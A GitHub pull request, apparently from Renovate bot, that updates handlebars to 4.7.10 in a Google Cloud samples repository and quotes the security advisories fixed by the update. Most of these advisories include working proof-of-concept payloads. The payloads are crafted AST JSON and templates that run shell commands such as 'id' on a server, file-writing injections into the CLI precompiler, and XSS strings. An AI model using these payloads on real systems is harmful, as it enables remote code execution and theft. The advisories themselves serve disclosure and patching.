chore(deps): update dependency handlebars to v4.7.10 [security] by renovate-bot · Pull Request #1488 · GoogleCloudPlatform/cloud-code-samples

renovate-bot · 2026-08-26T11:17:27Z

This PR contains the following updates:

Package	Change	Age	Confidence
handlebars (source)	`4.7.8` → `4.7.10`

Handlebars.js has JavaScript Injection via AST Type Confusion

CVE-2026-33937 / GHSA-2w6w-674q-4c4q

More information

Details

Summary

Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:

// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;

Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.

Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.

Proof of Concept

Server-side Express application that passes req.body.text to Handlebars.compile():

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  let text = req.body.text;
  let template = Handlebars.compile(text);
  let result = template();
  res.send(result);
});

app.listen(2123);

POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123

{
  "text": {
    "type": "Program",
    "body": [
      {
        "type": "MustacheStatement",
        "path": {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": ["lookup"],
          "original": "lookup",
          "loc": null
        },
        "params": [
          {
            "type": "PathExpression",
            "data": false,
            "depth": 0,
            "parts": [],
            "original": "this",
            "loc": null
          },
          {
            "type": "NumberLiteral",
            "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
            "original": 1,
            "loc": null
          }
        ],
        "escaped": true,
        "strip": { "open": false, "close": false },
        "loc": null
      }
    ]
  }
}

The response body will contain the output of the id command executed on the server.

Workarounds

Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
```
if (typeof templateInput !== 'string') {
  throw new TypeError('Template must be a string');
}
```
Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Severity

CVSS Score: 9.8 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block

CVE-2026-33938 / GHSA-3mfm-83xf-c92r

More information

Details

Summary

The @partial-block special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites @partial-block with a crafted Handlebars AST, a subsequent invocation of {{> @partial-block}} compiles and executes that AST, enabling arbitrary JavaScript execution on the server.

Description

Handlebars stores @partial-block in the data frame that is accessible to templates. In nested contexts, a parent frame's @partial-block is reachable as @_parent.partial-block. Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite @partial-block with an attacker-controlled value.

When {{> @partial-block}} is subsequently evaluated, invokePartial receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via env.compile(). If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process.

The handlebars-helpers npm package (commonly used with Handlebars) includes several helpers such as merge that can be used as the mutation primitive.

Proof of Concept

Tested with Handlebars 4.7.8 and handlebars-helpers:

const Handlebars = require('handlebars');
const merge = require('handlebars-helpers').object().merge;
Handlebars.registerHelper('merge', merge);

const vulnerableTemplate = `
{{#*inline "myPartial"}}
    {{>@partial-block}}
    {{>@partial-block}}
{{/inline}}
{{#>myPartial}}
    {{merge @_parent partial-block=1}}
    {{merge @_parent partial-block=payload}}
{{/myPartial}}
`;

const maliciousContext = {
  payload: {
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Code injected via depth field — breaks out of generated function call
          depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: RCE via @partial-block

Workarounds

Use the runtime-only build (require('handlebars/runtime')). The compile() method is absent, eliminating the vulnerable fallback path.
Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only.
Avoid registering helpers from third-party packages (such as handlebars-helpers) in contexts where templates or context data can be influenced by untrusted input.

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation

CVE-2026-33939 / GHSA-9cx6-37pm-9jff

More information

Details

Summary

When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. {{*n}}), the compiled template calls lookupProperty(decorators, "n"), which returns undefined. The runtime then immediately invokes the result as a function, causing an unhandled TypeError: ... is not a function that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a try/catch is vulnerable to a single-request Denial of Service.

Description

In lib/handlebars/compiler/javascript-compiler.js, the code generated for a decorator invocation looks like:

fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn;

When "n" is not a registered decorator, lookupProperty(decorators, "n") returns undefined. The expression immediately attempts to call undefined as a function, producing:

TypeError: lookupProperty(...) is not a function

Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.

This inconsistency is notable: references to unregistered helpers produce a clean "Missing helper: ..." error, while references to unregistered decorators cause a hard crash.

Attack scenario: An attacker submits {{*n}} as template content to any endpoint that calls Handlebars.compile(userInput)(). Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.

Proof of Concept

const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x

// Any of these payloads crash the process
Handlebars.compile('{{*n}}')({});
Handlebars.compile('{{*decorator}}')({});
Handlebars.compile('{{*constructor}}')({});

Expected crash output:

TypeError: lookupProperty(...) is not a function
    at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))

Workarounds

Wrap compilation and rendering in try/catch:

try {
  const result = Handlebars.compile(userInput)(context);
  res.send(result);
} catch (err) {
  res.status(400).send('Invalid template');
}

Validate template input before passing it to compile(). Reject templates containing decorator syntax ({{*...}}) if decorators are not used in your application.
Use the pre-compilation workflow: compile templates at build time and serve only pre-compiled templates; do not call compile() at request time.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial

CVE-2026-33940 / GHSA-xhpv-hc6g-r9c6

More information

Details

Summary

A crafted object placed in the template context can bypass all conditional guards in resolvePartial() and cause invokePartial() to return undefined. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to env.compile(). Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.

Description

The vulnerable code path spans two functions in lib/handlebars/runtime.js:

resolvePartial(): A crafted object with call: true satisfies the first branch condition (partial.call) and causes an early return of the original object itself, because none of the remaining conditionals (string check, options.partials lookup, etc.) match a plain object. The function returns the crafted object as-is.

invokePartial(): When resolvePartial returns a non-function object, invokePartial produces undefined. The runtime interprets undefined as "partial not yet compiled" and calls env.compile(partial, ...) where partial is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.

Minimum prerequisites:

The template uses a dynamic partial lookup: {{> (lookup . "key")}} or equivalent.
The adversary can set the value of the looked-up context property to a crafted object.

In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.

Proof of Concept

const Handlebars = require('handlebars');

const vulnerableTemplate = `{{> (lookup . "payload")}}`;

const maliciousContext = {
  payload: {
    call: true, // bypasses the primary resolvePartial branch
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Injected code breaks out of the generated function's argument list
          depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
// Prints: VULNERABLE: object -> dynamic partial -> RCE

Workarounds

Use the runtime-only build (require('handlebars/runtime')). Without compile(), the fallback compilation path in invokePartial is unreachable.
Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial.
Avoid dynamic partial lookups ({{> (lookup ...)}}) when context data is user-controlled.

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options

CVE-2026-33941 / GHSA-xjpj-3mr7-gcpf

More information

Details

Summary

The Handlebars CLI precompiler (bin/handlebars / lib/precompiler.js) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.

Description

lib/precompiler.js generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:

1. Template name injection

// Vulnerable code pattern
output += 'templates["' + template.name + '"] = template(...)';

template.name is derived from the file system path. A filename containing " or ']; breaks out of the string literal and injects arbitrary JavaScript.

2. Namespace injection (`-n` / `--namespace`)

// Vulnerable code pattern
output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';

opts.namespace is emitted as raw JavaScript. Anything after a ; in the value becomes an additional JavaScript statement.

3. CommonJS path injection (`-c` / `--commonjs`)

// Vulnerable code pattern
output += 'var Handlebars = require("' + opts.commonjs + '");';

opts.commonjs is interpolated inside double quotes with no escaping, allowing " to close the string and inject further code.

4. AMD path injection (`-h` / `--handlebarPath`)

// Vulnerable code pattern
output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)";

opts.handlebarPath is interpolated inside single quotes, allowing ' to close the array element.

All four injection points result in code that executes when the generated bundle is require()d or loaded in a browser.

Proof of Concept

Template name vector (creates a file pwned on disk):

mkdir -p templates
printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars"

node bin/handlebars templates -o out.js
node -e 'require("./out.js")'  # Executes injected code, creates ./pwned

Namespace vector:

node bin/handlebars templates -o out.js \
  -n "App.ns; require('fs').writeFileSync('pwned2','1'); //"
node -e 'require("./out.js")'

CommonJS vector:

node bin/handlebars templates -o out.js \
  -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //'
node -e 'require("./out.js")'

AMD vector:

node bin/handlebars templates -o out.js -a \
  -h "'); require('fs').writeFileSync('pwned4','1'); // "
node -e 'require("./out.js")'

Workarounds

Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (", ', ;, etc.).
Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines.
Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation.
Audit template filenames in any repository or package that is consumed by an automated build pipeline.

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Handlebars.js has a Property Access Validation Bypass in container.lookup

GHSA-442j-39wm-28r2

More information

Details

Summary

In lib/handlebars/runtime.js, the container.lookup() function uses container.lookupProperty() as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (depths[i][name]). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that lookupProperty may perform.

Only relevant when the compat compile option is enabled ({compat: true}), which activates depthedLookup in lib/handlebars/compiler/javascript-compiler.js.

Description

The vulnerable code in lib/handlebars/runtime.js (lines 137–144):

lookup: function (depths, name) {
  const len = depths.length;
  for (let i = 0; i < len; i++) {
    let result = depths[i] && container.lookupProperty(depths[i], name);
    if (result != null) {
      return depths[i][name];  // BUG: should be `return result;`
    }
  }
},

container.lookupProperty() (lines 119–136) enforces hasOwnProperty checks and resultIsAllowed() prototype-access controls. However, container.lookup() only uses lookupProperty as a boolean gate — if the gate passes (result != null), it then performs an independent, raw depths[i][name] access that circumvents any transformation or wrapped value that lookupProperty may have returned.

Workarounds

Avoid enabling { compat: true } when rendering templates that include untrusted data.
Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Handlebars.js has a Prototype Method Access Control Gap via Missing lookupSetter Blocklist Entry

GHSA-7rx3-28cr-v5wh

More information

Details

Summary

The prototype method blocklist in lib/handlebars/internal/proto-access.js blocks constructor, __defineGetter__, __defineSetter__, and __lookupGetter__, but omits the symmetric __lookupSetter__. This omission is only exploitable when the non-default runtime option allowProtoMethodsByDefault: true is explicitly set — in that configuration __lookupSetter__ becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.

4.6.0 is the version that introduced protoAccessControl and the allowProtoMethodsByDefault runtime option.

Description

In lib/handlebars/internal/proto-access.js:

const methodWhiteList = Object.create(null);
methodWhiteList['constructor']      = false;
methodWhiteList['__defineGetter__'] = false;
methodWhiteList['__defineSetter__'] = false;
methodWhiteList['__lookupGetter__'] = false;
// __lookupSetter__ intentionally blocked in CVE-2021-23383,
// but omitted here — creating an asymmetric blocklist

All four legacy accessor helpers (__defineGetter__, __defineSetter__, __lookupGetter__, __lookupSetter__) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; __lookupSetter__ was left out.

When allowProtoMethodsByDefault: true is set, any prototype method not present in methodWhiteList is permitted by default. Because __lookupSetter__ is absent from the list, it passes the checkWhiteList check and is accessible in templates, while __lookupGetter__ (its sibling) is correctly denied.

Workarounds

Do not set allowProtoMethodsByDefault: true. The default configuration is not affected.
If allowProtoMethodsByDefault must be enabled, ensure templates do not reference __lookupSetter__ through untrusted input.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection

CVE-2026-33916 / GHSA-2qvq-rjwj-gvw9

More information

Details

Summary

resolvePartial() in the Handlebars runtime resolves partial names via a plain property lookup on options.partials without guarding against prototype-chain traversal. When Object.prototype has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS.

Description

The root cause is in lib/handlebars/runtime.js inside resolvePartial() and invokePartial():

// Vulnerable: plain bracket access traverses Object.prototype
partial = options.partials[options.name];

hasOwnProperty is never checked, so if Object.prototype has been seeded with a key whose name matches a partial reference in the template (e.g. widget), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.

Prerequisites for exploitation:

The target application must be vulnerable to prototype pollution (e.g. via qs, minimist, or
any querystring/JSON merge sink).
The attacker must know or guess the name of a partial reference used in a template.

Proof of Concept

const Handlebars = require('handlebars');

// Step 1: Prototype pollution (via qs, minimist, or another vector)
Object.prototype.widget = '<img src=x onerror="alert(document.domain)">';

// Step 2: Normal template that references a partial
const template = Handlebars.compile('<div>Welcome! {{> widget}}</div>');

// Step 3: Render — XSS payload injected unescaped
const output = template({});
// Output: <div>Welcome! <img src=x onerror="alert(document.domain)"></div>

The runtime prints a prototype access warning claiming "access has been denied," but the partial still resolves and returns the polluted value.

Workarounds

Apply Object.freeze(Object.prototype) early in application startup to prevent prototype pollution. Note: this may break other libraries.
Use the Handlebars runtime-only build (handlebars/runtime), which does not compile templates and reduces the attack surface.

Severity

CVSS Score: 4.7 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)

CVE-2026-106446 / GHSA-8r5x-fm3f-whwj

More information

Details

Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

AST value	Written into generated code as	Compile options needed
`Program.blockParams.length`	`container.program(<index>, data, <length>)`	none (default options)
`depth` on a param that is not a `PathExpression`, e.g. a `StringLiteral`	`depths[<depth>]`	`stringParams: true`
A `StringLiteral.value` that is not a string	raw JavaScript literal	`stringParams: true`
A `PathExpression.original` that is not a string	raw JavaScript literal	`stringParams: true`

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

the blockParams object has no type, so none of the type-specific checks apply, and
the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept

Start a server that compiles request input:

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
  res.send(template());
});

app.listen(2123);

Save this request body as poc.json. missingHelper does not need to exist:

{
  "text": {
    "type": "Program",
    "loc": { "start": { "line": 1, "column": 0 } },
    "body": [
      {
        "type": "BlockStatement",
        "path": {
          "type": "PathExpression", "data": false, "depth": 0,
          "parts": ["missingHelper"], "original": "missingHelper",
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "params": [],
        "program": {
          "type": "Program",
          "blockParams": {
            "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
          },
          "body": [],
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "openStrip": { "open": false, "close": false },
        "inverseStrip": { "open": false, "close": false },
        "closeStrip": { "open": false, "close": false },
        "loc": { "start": { "line": 1, "column": 0 } }
      }
    ]
  }
}

Send the request:

curl -s -X POST 'http://127.0.0.1:2123/api/render' \
     -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:

Error: Injected code ran as uid 1000

Impact

An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().

compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).
precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.

Workarounds

Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
```
if (typeof templateInput !== 'string') {
  throw new TypeError('Template must be a string');
}
```
Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Credits

Variant `Program.blockParams`

Variant `BooleanLiteral|NumberLiteral.value`

sondt99 Thai Son Dinh from VinSOC Labs (R&D)
Ahmed-Elmahgob
nikolakojic-rasit
vk-can
shenhuanageshei
kustundag
kagebunsher
ffasterss

Variant `PathExpression.depth`

hibrian827 Team Atlanta
oss-security-shopify

Severity

CVSS Score: 9.8 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Handlebars: JavaScript Injection via Unsafe Inline Embedding of Precompiled Templates

CVE-2026-106444 / GHSA-xw65-4hp5-5hc7

More information

Details

Summary

Handlebars.precompile() generates JavaScript source that is commonly embedded in browser <script> elements. Before the fix, static template text containing </script> was emitted unchanged. HTML parsers recognize </script> even inside a JavaScript string literal, closing the surrounding script element and allowing following attacker-controlled markup to be parsed and executed.

This affects applications that precompile attacker-controlled templates and embed the generated source directly in an HTML <script> element. It does not affect ordinary server-side rendering or precompiled templates delivered as external JavaScript files.

Details

Static text is serialized by quotedString() in lib/handlebars/compiler/code-gen.js. The generated JavaScript is valid, but JavaScript quoting alone does not make it safe to embed in HTML. In HTML script data, the sequence </script> terminates the element regardless of JavaScript string context.

On affected releases, this template:

safe</script><script>alert("XSS")</script><script>

could produce generated source containing:

return 'safe</script><script>alert("XSS")</script><script>';

When included inline in an HTML document, the first </script> closes the script containing the precompiled template. The next <script> element is then parsed as HTML and executes.

Proof of Concept

const Handlebars = require('handlebars');

const template = 'safe</script><script>alert("XSS")</script><script>';
const output = Handlebars.precompile(template);

console.log(output.includes('</script>'));

Affected versions print true. Embedding output directly in an inline <script> element allows the injected script tag to be parsed by the browser.

Workarounds

Do not inline precompiled output from untrusted templates into HTML documents.
Serve generated precompiled templates as external JavaScript files where practical.

Credits

Reported by Curly-Haired-Baboon Aka Laplas

Severity

CVSS Score: 4.7 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Handlebars: JavaScript Injection via Own Property Check Bypass

CVE-2026-106445 / GHSA-p8wg-vrv2-v86f

More information

Details

Summary

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

lookupProperty trusts own properties:

if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
  return result;
}

Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:

Function.prototype.constructor === Function;
String.prototype.constructor === String;
Object.prototype.constructor === Object;

As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.

Proof of Concept

An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:

Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function).
Access constructor via own property bypass: {{lookup (lookup myFunction "__proto__") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated.
Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).

const Handlebars = require('handlebars');

// constructor deny list bypass via hasOwnProperty check in lookupProperty
const template = Handlebars.compile(
    // construct code array from template string literal
    '{{#with a}}' +
      '{{lookup "" (push "return process.mainModule.require(\'child_process\').execSync(\'id\').toString()")}}' +
      '{{lookup "" (pop)}}' +
      '{{lookup "" (shift)}}' +
    '{{/with}}' +

    // access Function via own property bypass on Function.prototype.constructor
    '{{lookup "" (@root.a.push (lookup (lookup fn "__proto__") "constructor"))}}' +

    // #each sets depth0=Function without calling it, apply avoids hash body
    '{{#each @root}}{{#if @index}}{{else}}' +
      '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' +
    '{{/if}}{{/each}}'
);

const result = template(
    { fn: function(){}, a: [0] },
    { allowProtoMethodsByDefault: true }
);

console.log(result.trim());

// output: uid=1000(node) gid=1000(node) groups=1000(node)

Workarounds

Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.

If you are using packages like hbs which set allowProtoMethodsByDefault: true by default, you have to update Handlebars to the latest version.

Severity

CVSS Score: 9.2 / 10 (Critical)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

handlebars-lang/handlebars.js (handlebars)

`v4.7.10`

Compare Source

security: Sanitize the source map URL when minifying - f37c599
security: Iterate lazily in #each and strip whitespace in linear time - 812c226
security: Escape <!-- and <script in precompiled output - 609d1b1 GHSA-xw65-4hp5-5hc7
security: Don't trust special properties on context data - ceec388 GHSA-p8wg-vrv2-v86f
security: Only compile partials that are template strings - c28ee7a
security: Only dispatch known node types in the Compiler and Visitor - 7d501a5
security: Validate AST values in the compiler instead of the parser - 703fdcc GHSA-8r5x-fm3f-whwj
Clarify that --root does not restrict filesystem access - 0fcf25c
Bump minimist to ^1.2.8 - ea8ed82
Fix Ruby component publishing documentation - d069c1c
Fix Composer component definition - 6714e07

Compatibility notes:

{{#each}} iterates iterables such as Map, Set and generators lazily, like for...of, instead of
copying them into an array first. Values added to the iterable while the block renders are now visited too.

Commits

`v4.7.9`

Compare Source

fix: enable shell mode for spawn to resolve Windows EINVAL issue - e0137c2
fix type "RuntimeOptions" also accepting string partials - eab1d14
feat(types): set hash to be a Record<string, any> - de4414d
fix non-contiguous program indices - 4512766
refactor: rename i to startPartIndex - e497a35
security: fix security issues - 68d8df5

Commits

Configuration

📅 Schedule: (UTC)

Branch creation
- At any time (no schedule defined)
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

dpebot · 2026-08-26T11:17:39Z

/gcbrun

gemini-code-assist

Code Review

This pull request updates the handlebars dependency from version 4.7.8 to 4.7.9 in the package-lock.json files of both the nodejs-cloud-run-hello-world and nodejs-hello-world projects. There are no review comments, and I have no feedback to provide.

dpebot · 2026-10-11T22:25:01Z

/gcbrun

forking-renovate Bot added the automerge Merge the pull request once unit tests and other checks pass. label Aug 26, 2026

renovate-bot requested a review from a team as a code owner August 26, 2026 11:17

renovate-bot added the automerge Merge the pull request once unit tests and other checks pass. label Aug 26, 2026

gemini-code-assist Bot reviewed Aug 26, 2026

View reviewed changes

gcf-merge-on-green Bot removed the automerge Merge the pull request once unit tests and other checks pass. label Aug 27, 2026

chore(deps): update dependency handlebars to v4.7.10 [security]

90e9fe4

renovate-bot changed the title ~~chore(deps): update dependency handlebars to v4.7.9 [security]~~ chore(deps): update dependency handlebars to v4.7.10 [security] Oct 11, 2026

renovate-bot force-pushed the renovate/npm-handlebars-vulnerability branch from 39a0209 to 90e9fe4 Compare October 11, 2026 22:24

Navigation Menu

Repository navigation

chore(deps): update dependency handlebars to v4.7.10 [security] - #1488

chore(deps): update dependency handlebars to v4.7.10 [security]#1488
renovate-bot wants to merge 1 commit into
GoogleCloudPlatform:v1from
renovate-bot:renovate/npm-handlebars-vulnerability

renovate-bot commented Aug 26, 2026 •

edited

Loading

Uh oh!

dpebot commented Aug 26, 2026

Uh oh!

gemini-code-assist Bot left a comment

Uh oh!

dpebot commented Oct 11, 2026

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

2 participants

Conversation

renovate-bot commented Aug 26, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Handlebars.js has JavaScript Injection via AST Type Confusion

Details

Summary

Description

Proof of Concept

Workarounds

Severity

References

Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @​partial-block

Details

Summary

Description

Proof of Concept

Workarounds

Severity

References

Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation

Details

Summary

Description

Proof of Concept

Workarounds

Severity

References

Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial

Details

Summary

Description

Proof of Concept

Workarounds

Severity

References

Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options

Details

Summary

Description

1. Template name injection

2. Namespace injection (-n / --namespace)

3. CommonJS path injection (-c / --commonjs)

4. AMD path injection (-h / --handlebarPath)

Proof of Concept

Workarounds

Severity

References

Handlebars.js has a Property Access Validation Bypass in container.lookup

Details

Summary

Description

Workarounds

Severity

References

Handlebars.js has a Prototype Method Access Control Gap via Missing lookupSetter Blocklist Entry

Details

Summary

Description

Workarounds

Severity

References

Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection

Details

Summary

Description

Proof of Concept

Workarounds

Severity

References

Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)

Details

Summary

Details

Proof of Concept

Impact

Workarounds

Credits

Variant Program.blockParams

